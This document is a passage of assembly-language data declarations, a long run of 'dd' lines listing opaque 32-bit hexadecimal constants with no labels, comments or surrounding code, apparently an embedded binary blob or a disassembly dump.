		dd 799BA301h, 8DA0DE88h, 0C7172180h, 0AD270BB3h, 49CA650Fh
		dd 28E0C731h, 0EBC18872h, 6C4CE834h, 0D33406C6h, 1995479Dh
		dd 6971ED1Dh, 8111AD58h, 7FD60040h, 722703E7h, 520C5DA5h
		dd 20D8C857h, 0DF9703A2h
		dd 0DD8BAE9Ah, 932D76A0h, 6153D00Eh, 89EC0D3h, 7A091A06h
		dd 5EF02CC8h, 50C900F0h, 0AF2CDF66h, 3A74425Ch,	62AE0634h
		dd 4C585EB4h, 0F8073B5Ah, 90013730h, 7A96198Ch,	202BC430h
		dd 0F03DD8DAh, 81B800AFh, 22D1AC18h, 0D92E0169h, 2042283Ah
		dd 2790005Fh, 0E406B757h, 82D7626Fh, 0B2D0089h,	0D36C407Dh
		dd 0A633C5C8h, 0D0856122h, 0EE521Dh, 1F42F4FDh,	0E1B2667Bh
		dd 0E8006377h, 0D639C9F7h, 94F0E0h, 0AD8D5403h,	534F1C73h
		dd 500F49Ah, 369117B5h,	0BA2A447h, 0B9AA7213h, 0FBAB3820h
		dd 0E701B508h, 307C6999h, 5434F0DBh, 0F2B90B43h, 448087AFh
		dd 0C5D72096h, 74A9AE01h, 402B56F3h, 346A3E4h, 49F89161h
		dd 25F86C2Ah, 2F097DA8h, 2B3CE1h, 611857DCh, 0EB603C8h
		dd 788B3EF8h, 0B7FBE090h, 196F7E00h, 0ED8550B2h, 738D5CFAh
		dd 83365500h, 95E3B6CDh, 0E8324100h, 0C194C057h, 4D0802E4h
		dd 2DA044F1h, 0CB6411E0h, 72007479h, 95942F17h,	23E184h
		dd 73E51966h, 3CEEB20Ah, 7D28A100h, 1A4C57ECh, 0C1C503F4h
		dd 0A64AC946h, 27621290h, 2C387400h, 5C0497FDh,	0D1D500C7h
		dd 52F0EE9Fh, 348FA91h,	0B7170743h, 0C380DC8Ah,	984269h
		dd 0E47FD278h, 0FD3238E8h, 640309B8h, 26E3A1E2h, 0C98800F2h
		dd 79BF59F9h, 4C905BACh, 0E18A9A00h, 0DFCD36D0h, 62920043h
		dd 3DA734CCh, 290156B2h, 0BE230560h, 70E8F265h,	0A2A009Bh
		dd 0DFCFB04Dh, 51E1874h, 1F9F50F6h, 930FB9D6h, 437160A6h
		dd 3684DEh, 0EAD65A62h,	0F6EFB185h, 0A8E39113h,	783C49h
		dd 3F4CDD7Ch, 0E89A0075h, 1CD36A6Dh, 1D7EC985h,	0CFA51700h
		dd 0BB0D79E3h, 3F38009Ch, 51D02001h, 0E7E48191h, 0D4FCAF75h
		dd 0BA33CA01h, 460A8337h, 0CF51C7C4h, 0D840B329h, 3D05116Ch
		dd 9D317300h, 49323628h, 0ADF82216h, 0BDB7E700h, 57BA976Dh
		dd 0B9766Fh, 99F2B349h,	44C50365h, 700DC9Ah, 0E127B61Ch
		dd 131787Ah, 0D83C64E0h, 2051A0A5h, 6B00D9ACh, 0CFE9959Bh
		dd 63A18Fh, 96865072h, 2E9829DCh, 56820E17h, 13618D00h
		dd 3BFDC6BAh, 0AC8084AAh, 8658F6A4h, 8504B65Fh,	0C7937B32h
		dd 33488B0h, 0E9248AB0h, 70EFDEA7h, 694647C8h, 53BB2D00h
		dd 0D8F04929h, 5F9400F6h, 0EA5D0AFBh, 4F0B8819h, 300118h
		dd 8AE943E0h, 0A85400B1h, 0BF94F2E5h, 0FF0063B3h, 6B9B8B2Fh
		dd 73346450h, 7A6C0009h, 4652730Dh, 80003A54h, 1DE45860h
		dd 780A7413h, 0BDC61FDAh, 712804Eh, 3845EE5Bh, 0B3EA1F00h
		dd 0BFF2EDFFh, 4061EFC1h, 70BF3FCh, 349F939Ch, 543DF0F7h
		dd 19004C58h, 41B0BBEBh, 0E64168Ah, 0CAE80ED1h,	3B48B160h
		dd 6D2CDBE7h, 0D4004889h, 0E345FBCBh, 41BA2C8Fh, 56260240h
		dd 3C1C1955h, 0DC8328D1h, 0F15EB26Dh, 0ABA3D800h, 0FA1F6190h
		dd 627E004Dh, 0E72501ADh, 32047A27h, 0E49AFB66h, 7815C0B0h
		dd 5F10004Fh, 56AB60B2h, 0AD1DC909h, 8E400E49h,	28E298E1h
		dd 0E8E4607Ch, 0A6EB7095h, 250024FCh, 141F1BAh,	0E23A450h
		dd 118771CEh, 0A8A0C58Bh, 0AA1275Ah, 0F211C660h, 67BF2BB0h
		dd 0E0BBC028h, 0FDE2217Bh, 84B8A377h, 80C77C3Bh, 9C14B709h
		dd 0E695C5h, 0EACBE976h, 0BF462FD1h, 2CAB20C0h,	0CE6B4814h
		dd 22F7458h, 9112F4Ch, 13289100h, 10A6FAB5h, 1D6F00EDh
		dd 254027D8h, 8A0072D1h, 39C48992h, 0CE55B9BCh,	0E8800639h
		dd 0FB2CD8E7h, 0FF00F4B8h, 0DCE7FBFh, 0E0F9DBh,	0AF974687h
		dd 4D80F058h, 1BAEE200h, 0B9B8EB2Ch, 7C8E00B6h,	0AD16AF5Bh
		dd 0ECE935C5h, 0D006619h, 0FD15FEC4h, 309AA0C0h, 0C2600818h
		dd 4E4E3E02h, 5AA15800h, 30788C60h, 4820C8F2h, 197D5FC5h
		dd 6A54EF00h, 0A88E11D6h, 0A6E6C0h, 2ED3B34Eh, 0E5D2F82Ah
		dd 646FC00h, 0DF95E983h, 58B20Bh, 75E1EEC7h, 2EADF7C9h
		dd 918E3C00h, 33691A5Fh, 5C9F58A9h, 0CF900271h,	0E5A6F25Dh
		dd 1109D380h, 36029C0Fh, 182E17EFh, 0AA70E043h,	6AA00492h
		dd 0C783CE32h, 49F2610Ch, 0DD3960B4h, 44566300h, 0EA48D95Bh
		dd 39206BC6h, 73CAE400h, 0EF3812B7h, 0D92DFDh, 50B9E844h
		dd 3DD000D6h, 5AE04E13h, 0E3095571h, 0E09F0B90h, 0F62E583Ch
		dd 47FA0B56h, 0EC258D35h, 47941305h, 0F0ABACECh, 0F7713AB7h
		dd 0F09E4100h, 4BCFE49Fh, 0C28C004h, 32C2D1DBh,	7110C560h
		dd 3CDD0DC1h, 0DF00B519h, 0C29E1718h, 359841A8h, 8B359828h
		dd 0E0F88000h, 0EBB3DAF7h, 0D68D06BEh, 497AAEFDh, 0EC52CE0Ah
		dd 7E00F868h, 7D456FA6h, 84C009DAh, 8C40B3A8h, 7F1F9EF2h
		dd 649C4DFDh, 44F0AE40h, 1B41609h, 1E70CF9h, 0E98067EEh
		dd 7D588306h, 0D9434594h, 0D44091A5h, 5D55FAFh,	81D69D7Ch
		dd 1EC0122Ch, 266D46BCh, 5200102Dh, 850914BDh, 3906E9DCh
		dd 0AD8083F5h, 0E56F783Dh, 0E63B4A62h, 0FE08804Bh, 534993C5h
		dd 6560C096h, 12C8EE3Ch, 0BFD73E01h, 0BAC3172Bh, 26D1830h
		dd 298A7A4Bh, 862E602h,	0CD88A100h, 0EB4937A4h,	7E6700ECh
		dd 0BFAACA3Dh, 1595038Dh, 0A125CB1Bh, 0A030BDD8h, 2FE4E700h
		dd 74368C0Fh, 0C74D1758h, 89D00371h, 0F4907638h, 801C0372h
		dd 2A537922h, 92A2C880h, 3024138Fh, 834C02F3h, 0F702E58Eh
		dd 0CEFF6077h, 0DCCA004Ch, 71120BF5h, 79F4953Fh, 38F07548h
		dd 0F9EA8036h, 91F1676Bh, 964A0033h, 89698CD6h,	36000C13h
		dd 0E3043551h, 77EC35Dh, 0B76D270h, 84F49321h, 0E88048C6h
		dd 910B7BCFh, 1862C4D6h, 3B2F314h, 0DB98711Ah, 80948E84h
		dd 0C1480104h, 0BE08FB00h, 0A422E537h, 43790029h, 215E6CB9h
		dd 0B4007B24h, 71A1E8D0h, 2FACE7h, 0BA01B880h, 8A4FC182h
		dd 0C7FC1170h, 293A7C92h, 38620B2h, 7047156Ah, 93E06014h
		dd 200065B4h, 1F88DF25h, 9CD61C03h, 0A8917700h,	0C77D1C80h
		dd 0E0FB2A1h, 0A0446D06h, 0E3E26684h, 3CEF0005h, 539621A2h
		dd 0A39BC97h, 16B2072Eh, 212DF24h, 4900407Ah, 40C25B77h
		dd 37239080h, 3E3D7803h, 9272BBC8h, 180064C1h, 4189263h
		dd 753424A0h, 0FEA5006Eh, 0AC030B3h, 0CCBB0102h, 40DA8B4Ah
		dd 0F9CF018h, 0CF533281h, 65B4C0F6h, 361ED16Ch,	0C783798Dh
		dd 0B0641463h, 901DADE4h, 27420068h, 85E30F54h,	0EF13519Ch
		dd 0E0076C47h, 0B4D0831Eh, 0C35CB024h, 0DD2D2290h, 890997C0h
		dd 480708F0h, 907BAB95h, 0D89580C4h, 137C5500h,	4C8D4177h
		dd 6324DDE3h, 27F803A7h, 6DC01073h, 3000A939h, 0DAEBBC09h
		dd 2D8F475Ch, 2800148Dh, 0E6D57246h, 0A301E279h, 0D09B73B3h
		dd 0D980588Ch, 0F27726E9h, 0E2009545h, 41EB2164h, 3C1482C3h
		dd 5F801297h, 0EC807301h, 6E3D7804h, 0C9D600D8h, 0A7E5C87Ah
		dd 48252498h, 8EE91CBCh, 4E4086C3h, 0B24430A3h,	0EB59770Eh
		dd 49E2616Ch, 0A4484CF4h, 0A48726C5h, 8B99003Ch, 47912EAh
		dd 0A2FE3400h, 0DF9DF90h, 275B009Fh, 31521B56h,	0BD00D048h
		dd 0EAD2D570h, 4F835h, 14980D4Bh, 61B9D6D9h, 0A8EEE51Fh
		dd 115EC5C0h, 1A2864h, 0EF8ACAA7h, 0C3E573CEh, 0F2FA9500h
		dd 2655AF1Eh, 1B3600EDh, 52624AC6h, 0DD1F88B4h,	0D78EBE1Ah
		dd 918F80E6h, 0FFDA9D5h, 0DEA1BD11h, 7EA0E5AFh,	24DC9D8Ah
		dd 0C40087ECh, 0A0A47F41h, 480AEEF5h, 6F15A206h, 7E00B413h
		dd 5FD3CAC7h, 0E4B19E76h, 3566FF00h, 0F67219Ah,	6C379953h
		dd 30228E20h, 0E00935Dh, 0F1CC4C32h, 70C04039h,	0BF5900EDh
		dd 5EB3649Bh, 0FE2C5355h
		dd 8504E088h, 74D0BC4Bh, 16DECCDh, 7689A603h, 807F44E2h
		dd 0DE802D18h, 28CE2EB3h, 281842CBh, 7241655h, 41DD8D95h
		dd 4DDC50B3h, 8B006537h, 2CAE79E8h, 7808DED0h, 66D9C57Eh
		dd 0E1FCF1E6h, 0BD708001h, 263CD9C3h, 888EBF9Dh, 9018830Ah
		dd 0F60386BFh, 0A5F73AA0h, 0A2017A05h, 0FF440AEAh, 7BE9014h
		dd 0C2388361h, 791A4260h, 0DAA0009Fh, 936BFC2Ch, 0B900F782h
		dd 817E151Ch, 4CEADFh, 0B7024183h, 403D4568h, 887F9100h
		dd 786F3401h, 47420019h, 52670C2Fh, 0ED076813h,	6951663Ah
		dd 0A2E96510h, 3C5317E1h, 472B0006h, 2118C6FDh,	1600ECB8h
		dd 20F5BA6Ah, 7B6564Dh,	0ACF44835h, 3C7E2001h, 54E4F685h
		dd 0D4611915h, 23F401B4h, 8F9C7514h, 0E342FCh, 0FF0C4434h
		dd 55498DB4h, 0DB6E2517h, 739A7800h, 0B8390E38h, 3D7514D0h
		dd 0D70024FDh, 0FFE9D920h, 954612h, 0AB41BEC4h,	60150008h
		dd 8934936Ah, 0C9014570h, 0CB032CA7h, 92F48D4Dh, 252F3096h
		dd 24177310h, 0EA8ED315h, 0CD748D0h, 201DE2F0h,	9D060064h
		dd 0D120D8DBh, 4506BEF7h, 0EEB9B38Eh, 0BF500131h, 0FA9E14DDh
		dd 0B0DAE8D8h, 80FB5F3Fh, 66D35881h, 6996F9Ch, 0D8C184F8h
		dd 0E50A396Eh, 68D556CBh, 0E8376A0Dh, 7CC01CF1h, 581F1850h
		dd 86F021DCh, 0ADCD1707h, 3150033Bh, 0F8C624h, 4A745220h
		dd 0E44B2D0Eh, 0BE1E5600h, 0CD668D49h, 877B89h,	0B7B169E1h
		dd 4078AC7h, 128E130Eh,	7DBC834Eh, 4114310h, 0CE9167A0h
		dd 88AD10C0h, 139A2CAh,	6FC01DF2h, 0FC697D90h, 8200EAD6h
		dd 234B0C2Dh, 0FFEFAh, 786144CFh, 0DA1492F0h, 27034000h
		dd 4651DC38h, 0FE050FECh, 4240212Ah, 806487A9h,	6C413900h
		dd 0A3697040h, 295800E6h, 26F10E88h, 23079ABFh,	8F73A57Dh
		dd 44838AB0h, 2C02E63Fh, 34B77E0h, 527DB75Bh, 0AD284101h
		dd 0EAAB781Fh, 7AA2F8h,	0DA02991Ah, 8C247945h, 422EC0F8h
		dd 0DD0072EDh, 2F1AC129h, 8EE50050h, 0B3FAF881h, 9D7557D0h
		dd 89139500h, 93676315h, 0B7760042h, 7308C2A8h,	6A001781h
		dd 15C3EDD1h, 3950Ch, 79F86441h, 60A8EAF3h, 0A600F474h
		dd 0CC9D7D76h, 0E5E8D78h, 0CBED670Bh, 50F845E7h, 0DEA3174Fh
		dd 0F86EF5A1h, 0D300F0BFh, 0B5112671h, 1236089Ch, 18C853D6h
		dd 0D0BC31CAh, 73DA4E00h, 25F35CFDh, 0D81150A3h, 7A2B001Ah
		dd 608340B0h, 4874C603h, 1D574Ch, 0EB91C88Ah, 0D2149Bh
		dd 4DA041E0h, 0D977341Ch, 0BDCB751Fh, 0B53DD440h, 0E7957Ah
		dd 0E5FACA1Ah, 4A8FF853h, 0CF4E9E00h, 1DF3E0C8h, 189212h
		dd 568CE42Eh, 43B9DE46h, 0B8D73D00h, 0DABD166Eh, 256A0092h
		dd 4479ABAFh, 0F614B3DFh, 90E6F8h, 0D6E88D57h, 3905F235h
		dd 36008F79h, 1B93243Bh, 4C2877ADh, 4203ECDFh, 804E967Bh
		dd 0D36ED037h, 9011008Ch, 990E54E4h, 0D900CE44h, 0F398EA21h
		dd 0A87D8h, 3388C10Dh, 0D3E7D777h, 7DF6C23Ch, 0E663D500h
		dd 75E223A3h, 0DE8B0016h, 0C4D3935Eh, 3612B06Fh, 840613EDh
		dd 7B7181DCh, 72700097h, 7F8B906Bh, 81B8F2D8h, 45FBA080h
		dd 0CF2D1100h, 19AB078Eh, 50900EF7h, 6D805171h,	4E0FF604h
		dd 8EE54A3Ch, 0E0073989h, 157DB31Ch, 0CB6D0443h, 8026B035h
		dd 787E433h, 70564400h,	0A6310F06h, 609800B1h, 7874EDFAh
		dd 0A300A0FEh, 8E1E773Eh, 0E97F5Ch, 0FAF3AC50h,	2F58DCA2h
		dd 0BEDB8302h, 8803CB84h, 6403D4ACh, 8844BADDh,	1C163224h
		dd 6A4ACF7Fh, 0BD42B4h,	0B78F3C35h, 57D8F6h, 0D15ABC58h
		dd 0E81D9CEEh, 16C21400h, 92C3E6EAh, 379A0045h,	0CCECA3EFh
		dd 0A500FBEEh, 8FCDD407h, 519F4E98h, 77ECDD99h,	45BC004Dh
		dd 0B2562221h, 0EE502A80h, 0D5E05FA0h, 3005CF4h, 0D63C0DC1h
		dd 0FA4A8D8Ah, 0E2873ADAh, 0CFA3D701h, 0F86746D4h, 8C031B2Bh
		dd 0B1993B38h, 13E1008Fh, 0FE3E8053h, 0B0007904h, 0DA0B57CBh
		dd 430F58h, 0AA2EC6D1h,	8C509A21h, 3D3AAC3Fh, 7A1B8067h
		dd 6F3C4A2Ch, 0D2E307A8h, 7BA310h, 0D1A9F407h, 63033A1Dh
		dd 870D9780h, 0E9C23h, 0F73F2AB2h, 0C3FEAAFCh, 0F1AE5900h
		dd 0ED0688DDh, 0ADF92842h, 913F00ABh, 0F8E42394h, 18F678F1h
		dd 0DA9C9E0Fh, 0F34A8099h, 877DEEh, 387B7744h, 60C562FDh
		dd 0DCEA1900h, 298ED721h, 0B8862CE2h, 7F60011h,	6597FBBEh
		dd 0D0F89060h, 719371Fh, 62982AEDh, 0BFA9108Ah,	8300AAF1h
		dd 25BA05C2h, 12C63Ah, 0E52C21A1h, 5558752Eh, 0FC8B5728h
		dd 3105F700h, 0BDEAAECFh, 0DC6105A8h, 114EF54h,	79F9AC84h
		dd 4DE5D004h, 0F7524700h, 897862D7h, 6D714Ah, 0DA97A7AAh
		dd 7C58FED0h, 5B6E2300h, 484F327Dh, 8433D4Ah, 82F43600h
		dd 0A21B88B6h, 2A2DA601h, 0F04F09BCh, 963FCCh, 239EF250h
		dd 0E3FEAE35h, 727838h,	954ADA92h, 3B0C9BDFh, 784D13DBh
		dd 0ABFDB002h, 0A7C108EFh, 1E914032h, 0FCE785D2h, 75006E94h
		dd 450AE388h, 0EB3BF1Dh, 477F974Fh, 0A6B07C20h,	58001968h
		dd 6283254Dh, 0B6EC172h, 0AA9FAACh, 0F16BF080h,	380091BBh
		dd 0E8972369h, 1AD0E99h, 0DD58C951h, 3074C796h,	0E10008F3h
		dd 34A7431Dh, 9B41329h,	61F8249Ah, 0AE45020h, 0F0A644Eh
		dd 0B4793415h, 7E27AF03h, 0A752C02Dh, 94A0078h,	0BA1526F3h
		dd 0B600E006h, 836F89CEh, 90D43934h, 732E00FAh,	0A853511Bh
		dd 0E700E0B1h, 0F72224CEh, 0C02793BDh, 0C0ED6958h, 8D03EFF6h
		dd 0C1B99F23h, 0D1DD98F3h, 73A2001Eh, 163BA9A3h, 0D700185Fh
		dd 0B9ECC323h, 1F0D94A4h, 0BF425Ch, 3A335B51h, 5E005D8Fh
		dd 0CEFD2F31h, 58AE8159h, 0F1B01863h, 0AC00A29Fh, 887C221Ah
		dd 0FCFA4565h, 4D05009Bh, 0BA39E7F5h, 8E1E3310h, 0BD5C5CF0h
		dd 0E33B1A40h, 431B27h,	0CCE71DD4h, 0A8CA07D9h,	0B0D76707h
		dd 83303A63h, 7E44579Ch, 1BB021h, 2C6FC342h, 3894BDAAh
		dd 0F18ECE00h, 655217A8h, 0F28E240h, 0F9B61A42h, 3B5EA560h
		dd 0C90E0492h, 0A94C5Ah, 0F14043B7h, 5EE3A005h,	185D603Dh
		dd 59763AB2h, 0D6150300h, 0DB1A01AAh, 0D4E2013Eh, 4E5597E9h
		dd 4026E052h, 330EBF16h, 3198FC01h, 32C46CB6h, 0F3B90013h
		dd 0EFEB1D1Eh, 80E94752h, 0F89AC78Ch, 94119Bh, 0AD15604h
		dd 3AE09160h, 0F930E90Fh, 63868E8Dh, 80662BB2h,	0B4FA57Eh
		dd 0C60802C7h, 70BF4C27h, 3589E58Ch, 0DD0E4571h, 814755B9h
		dd 0E24A32B8h, 0FFC3CFCh, 226AA6AEh, 37658BE0h,	9400AAB4h
		dd 0BA5E734h, 0F6D7BF45h, 0DAC30069h, 8A655038h, 0ECB02572h
		dd 782F493Bh, 8F78F719h, 82F93710h, 3321F3F1h, 8D8E8887h
		dd 840D67E9h, 3EF5832Ch, 1DE759A0h, 0D8D1C00Fh,	2DAC8095h
		dd 7C3B4357h, 0D480005Fh, 92AB36CCh, 33779E4Dh,	0DC90C900h
		dd 0E8DDAE96h, 6D380032h, 0E1E0E991h, 47702428h, 12575818h
		dd 61529260h, 78828126h, 0FC44752Bh, 4A1C9386h,	55C047F6h
		dd 2C76365Bh, 63E7FC5Ah, 0A31230CDh, 9298C81Eh,	0A0919Eh
		dd 0FB4A7567h, 3D14B235h, 0BB7EF800h, 1E0E5533h, 64F6037Fh
		dd 128D0813h, 882EEC90h, 0BD6E1400h, 0DA0C3FA0h, 1D8401A2h
		dd 0DAF80BBh, 35807EB2h, 67CCC4h, 0C56F9DFAh, 4291064Bh
		dd 4EDA6E0Bh, 0A4DEEFh,	33CB6110h, 8E01B7B8h, 0C956ED8Fh
		dd 0B18012EBh, 0C1F437C0h, 98840AB3h, 49B600ABh, 7D2CBFFh
		dd 0E8C09B8Ch, 9280AAADh, 0C0D6E84Fh, 29B19340h, 52750FEEh
		dd 5C3BAEFAh, 0D305802Bh
		dd 0E90BCE84h, 8A0A828h, 671B3C15h, 4896100h, 0A360C381h
		dd 3ED52200h, 360FF44Bh, 0C253E2Ah, 106C3C78h, 41F3AF07h
		dd 0F2720B6h, 597721E6h, 0EF202900h, 90FAA8D6h,	91260067h
		dd 1BBFD7DDh, 3F180815h, 9379174Dh, 0EAD61849h,	67521114h
		dd 0CC4648h, 7806CA8h, 7C6B4159h, 0A4F300FAh, 0DA6A35ECh
		dd 5500D547h, 0F5E1E680h, 81682Bh, 84403949h, 7A8DD8C7h
		dd 0E6BDD700h, 685A97CCh, 311600FBh, 77AF5EFCh,	663E1D9Eh
		dd 7A100059h, 0C8D64035h, 808B0F86h, 0A40736C7h, 0F5FBD043h
		dd 1C181989h, 0A6088A02h, 0C420C0C8h, 3EA57A58h, 0EEFC344Eh
		dd 0A7AC3D00h, 8F23E224h, 607B7931h, 15F05D49h,	36AF375Fh
		dd 0B34380A1h, 11C02390h, 413FFB16h, 9F2706BCh,	8DFB5DCh
		dd 0F521C861h, 0FED84413h, 770DF03Fh, 0AF600364h, 51859EBDh
		dd 0ED106873h, 606433D5h, 3FFA60AEh, 0EFBC0856h, 1B44DF9Eh
		dd 4412E440h, 0A87310B3h, 0C6ACF40Fh, 8EB8272Ah, 5D37BC60h
		dd 0EB810047h, 35117C3Ch, 8A30FA59h, 754610FFh,	0CA4F0084h
		dd 6C1B0BD2h, 180EF79Ch, 27C6A652h, 33E0F268h, 0AB5B46h
		dd 4F7F6C6Fh, 616AA1E2h, 76678AA0h, 0DF31EB0Fh,	3D113A22h
		dd 0FB98BF04h, 465B102Ah, 0F6EE3B00h, 0ADA58FBEh, 7052EC6Bh
		dd 0CE510353h, 6FB1DFD5h, 0C2BDB8C0h, 1D0058EEh, 4CE57B63h
		dd 952914h, 75BBB9DEh, 0E666D049h, 51A19701h, 72F240Ch
		dd 791BF0h, 0C627BB38h,	0E7F0C5ACh, 2DB3EF00h, 5B3D4CD0h
		dd 21950072h, 170B4DCAh, 1100BA58h, 0C7DD8115h,	0FCD0E76Ch
		dd 0FDDB00AAh, 214E8246h, 2005FF9Ch, 0F74A1559h, 0E26511C0h
		dd 6E7600C3h, 1FA65B05h, 21E5C532h, 0C9A800F0h,	860F6631h
		dd 20676E9Ch, 0AFE5F76Ah, 0A2B8F6h, 4B78AC95h, 3F5816EBh
		dd 3B00D37Eh, 53E0330Ch, 0E2F059Eh, 0B7A7B371h,	0E1622980h
		dd 900FE74h, 0BF6530A0h, 39F0B5h, 3CF3D585h, 955E98A4h
		dd 0CCF9B107h, 4B6003C3h, 0F75167Eh, 0E530FB5Fh, 0A2C48201h
		dd 0F2C0E893h, 0BD778500h, 8837DB72h, 2CED01E9h, 0B2DAB65h
		dd 0E135F882h, 74DADD00h, 603629C1h, 3A0D2A96h,	0A87DECh
		dd 0C3571A56h, 819225F5h, 0F0D51900h, 16A9BF78h, 0CA7239AEh
		dd 0F8603D7Fh, 29027D00h, 755ABA11h, 57407900h,	35E67B9Bh
		dd 7D1F4842h, 9E1C5224h, 0D828099h, 5123F73Ch, 5069731Dh
		dd 18496E00h, 7EA59385h, 90C0077Bh, 0B1F1A684h,	0F4461370h
		dd 0EB00CACFh, 0EE0CAC74h, 0E50434h, 0CB6879A4h, 0D0F65067h
		dd 7B38F500h, 596F584Fh, 0C0AE0090h, 8AABB2BAh,	0D750F096h
		dd 0CA0036CCh, 4C79CC2h, 0E6FBDDh, 70513B4Eh, 4C77138Fh
		dd 78249300h, 0EA64BB42h, 0D6850320h, 86DCBA43h, 80D80499h
		dd 0E774A48h, 3A1782h, 0B79D9FF0h, 453E4CCDh, 180912EEh
		dd 25135F81h, 5C00AA98h, 5208F411h, 631E3A7Fh, 9C3CFE81h
		dd 0F0CCCF92h, 2001886h, 96194123h, 0BA9F88h, 52D1EB6h
		dd 0EFD7C733h, 70D4CC00h, 0C1650ACh, 601076C6h,	2E32A8CFh
		dd 9B0006E4h, 0C291288Ah, 78FD72Ch, 2B72AAC8h, 3B0D0312h
		dd 937103D0h, 31CA3Ah, 1A642553h, 567E81h, 3B44614Ah, 2EA06BB2h
		dd 415017FAh, 0F3319E0h, 0A00DF080h, 0CC3CF5h, 7FB5DAEFh
		dd 0BF701BD0h, 15D6E500h, 13BCD375h, 0FF8F003Bh, 0A1CB4A2Ah
		dd 95076FE0h, 75CF3EEDh, 879E6ED0h, 48B7F25h, 0DB4C3C7Eh
		dd 0BC808136h, 5CC4C8FDh, 0ACA4C050h, 0F156744h, 4F21EF25h
		dd 5C0AF480h, 9F07CDECh, 613065E4h, 3F87A920h, 26FE5844h
		dd 0AEB55503h, 0DBD80289h, 5107FF3Eh, 9C600FD0h, 0DDB64950h
		dd 5F7700D3h, 355BBB1Ah, 9F006C0Ah, 0B370A589h,	30B164D8h
		dd 0A8306B7Eh, 8A387D5Dh, 0C09700B4h, 0DFD77F7Ah, 41A36013h
		dd 8840EEC9h, 173B720Ch, 7D3980h, 0EA4E54A5h, 40F09852h
		dd 19319361h, 61CC4ADEh, 0BCED1071h, 1137006Ch,	9A1CD70Dh
		dd 0FB12003Ah, 0CDF5396Dh, 5F7E8C44h, 7F3EC500h, 0ED139DC9h
		dd 414A00B9h, 42A763ECh, 26047088h, 0E0AB4D5Ch,	0A041EEBCh
		dd 82930h, 0F214737Ah, 685E2FBCh, 0BA360A00h, 0DF1E0B83h
		dd 81010059h, 787AE2DBh, 140341D0h, 3A7271Bh, 8B1AC81Eh
		dd 2F8A0019h, 2802B8A6h, 38C0E731h, 0F0C73CCEh,	8E2B03EBh
		dd 30A1C225h, 0C59905D0h, 2CE04554h, 0F3164A01h, 0E11AAE26h
		dd 28BA52C0h, 0FC184Bh,	0FF7C06A3h, 9DA82584h, 2B74D51Dh
		dd 28C22780h, 0EE6D37h,	0A9853DB2h, 6FDBF0F2h, 614C2B03h
		dd 0B1A821E9h, 3D06871h, 30561E49h, 0A0862836h,	0F83F18D5h
		dd 0D7DB003Ch, 8228C74h, 8FB075F7h, 84C4EA0Fh, 5980DCB8h
		dd 982CFDE0h, 107D00CAh, 0C84099ECh, 6B0587E8h,	549F2508h
		dd 0CC75A800h, 4D2AAAh,	49342B82h, 1F239A70h, 3E6F94Ch
		dd 0DFF3FB51h, 7386D806h, 548E002Eh, 852BD782h,	0CA00EAC9h
		dd 0DD84ED59h, 0BAAE1Ah, 2328AA5Bh, 0FFBE4E42h,	3ADA3100h
		dd 77EBB276h, 278F00E8h, 0CE82C5DFh, 0C1E432B9h, 973B3A00h
		dd 86D14062h, 7D740443h, 803F345Ah, 0E892B430h,	8084292Fh
		dd 54738562h, 2AE600F8h, 3ED604E2h, 0D10016F1h,	0D9A00E58h
		dd 186053h, 0EC0F86BCh,	492320B9h, 4D382C00h, 526430D7h
		dd 8144066Bh, 70A6507Dh, 48DB1102h, 4069159Dh, 41C460h
		dd 394F3121h, 12A8864Ah, 0D4807D00h, 6802FF1Bh,	0FEC2093Dh
		dd 0CD84289Bh, 0EE1DC101h, 0DDAFC8EAh, 9C0030EEh, 2C8A8D4Ah
		dd 7E5DF0h, 40AE93B7h, 6695983Dh, 5B277807h, 593047C8h
		dd 38ADD55h, 0FD207BE8h, 14F0C15Dh, 22E41249h, 3D7CFC3Bh
		dd 64DD00C9h, 93FBBAB6h, 67E01CCCh, 0B94A80D9h,	757A7451h
		dd 0C4DF5400h, 5D52D27Eh, 4FD70B25h, 49001B3Eh,	29465A97h
		dd 3D73E375h, 7B267178h, 351FBF7Ch, 0BCAB3100h,	5F91BAh
		dd 48CCC40Bh, 0D1A6C6A1h, 0A0CE9EEh, 78C561F5h,	6F9F03A7h
		dd 2CDEB9E1h, 38F7EDD8h, 0B063EE2Eh, 2E08680h, 0CF49Bh
		dd 0F3F19544h, 0F5ED605Eh, 0BF004EF0h, 0BE4846FAh, 4A1603h
		dd 8FECFD0Bh, 0BC172A08h, 0CBEEF200h, 0E8F8DBA4h, 0E94706CEh
		dd 616293B4h, 0CC565D2Ch, 3328D680h, 0E878E01Ah, 85C5DDEh
		dd 4811DC30h, 80836D03h, 0FEBA4609h, 58690044h,	9D428E82h
		dd 0A0007801h, 55129610h, 799ED4h, 0E7AB384Bh, 0FFE68BC8h
		dd 96005A7Ch, 9A7761Ah,	0C0673195h, 443BC180h, 350262E8h
		dd 86DE9C24h, 16071875h, 3AB02900h, 5FB60B35h, 937F26D4h
		dd 94EE9D28h, 0A060645Ch, 817721Ah, 68D81814h, 0D1162E14h
		dd 443C2C01h, 0E1C4959Dh, 0D7E400A2h, 25F8905Dh, 7A00A855h
		dd 73AAE0BFh, 986364h, 0E4A9C756h, 0FEC05DE3h, 8059EA3Eh
		dd 0F8308F71h, 0B5A62Bh, 0BEF54C69h, 41922617h,	38B20100h
		dd 0A5F67380h, 0CB2200BDh, 953979CDh, 0B7003159h, 3B91281h
		dd 9D6C2Ch, 0B8FCB22Dh,	30F8AF28h, 80D0C238h, 6217542h
		dd 627C64h, 2EA96AB0h, 0FC554E82h, 0FB0F97FAh, 60A35E11h
		dd 8848EBA7h, 9A6A248Ah, 776100D5h, 4E5FEDDFh, 0BBC1D601h
		dd 0C6F91952h, 392A6FE4h, 0C789BD3Ah, 2A089733h, 660280A0h
		dd 59A582A8h, 96FD4400h, 0C3774D78h, 0F9450334h, 19633F71h
		dd 50368989h, 25E8B8ACh, 0F9786900h, 0DCA44167h, 385501AFh
		dd 0FD94D80Dh, 6C2886F5h, 756957D5h, 0A7A21EAEh, 0C1258255h
		dd 0FA6011F8h, 0F4B228E1h, 0BBF1E00h, 0DC2090FBh, 0E79B00DEh
		dd 0EF0DCFA3h
		dd 14A08972h, 0D9F4910Ch, 63F3C600h, 0F95FFEE9h, 6F980089h
		dd 29D61CA9h, 4A9888B3h, 0BD48718h, 0F42339h, 454CDAC9h
		dd 0EE343BB1h, 68AF5E06h, 780C29h, 95A0F63Ah, 1E45B954h
		dd 0D3A9B102h, 80766E87h, 3C57BE68h, 935E0074h,	0E65A66EFh
		dd 3D2BFE69h, 435104D1h, 46B1C44h, 65B460ADh, 11C32A00h
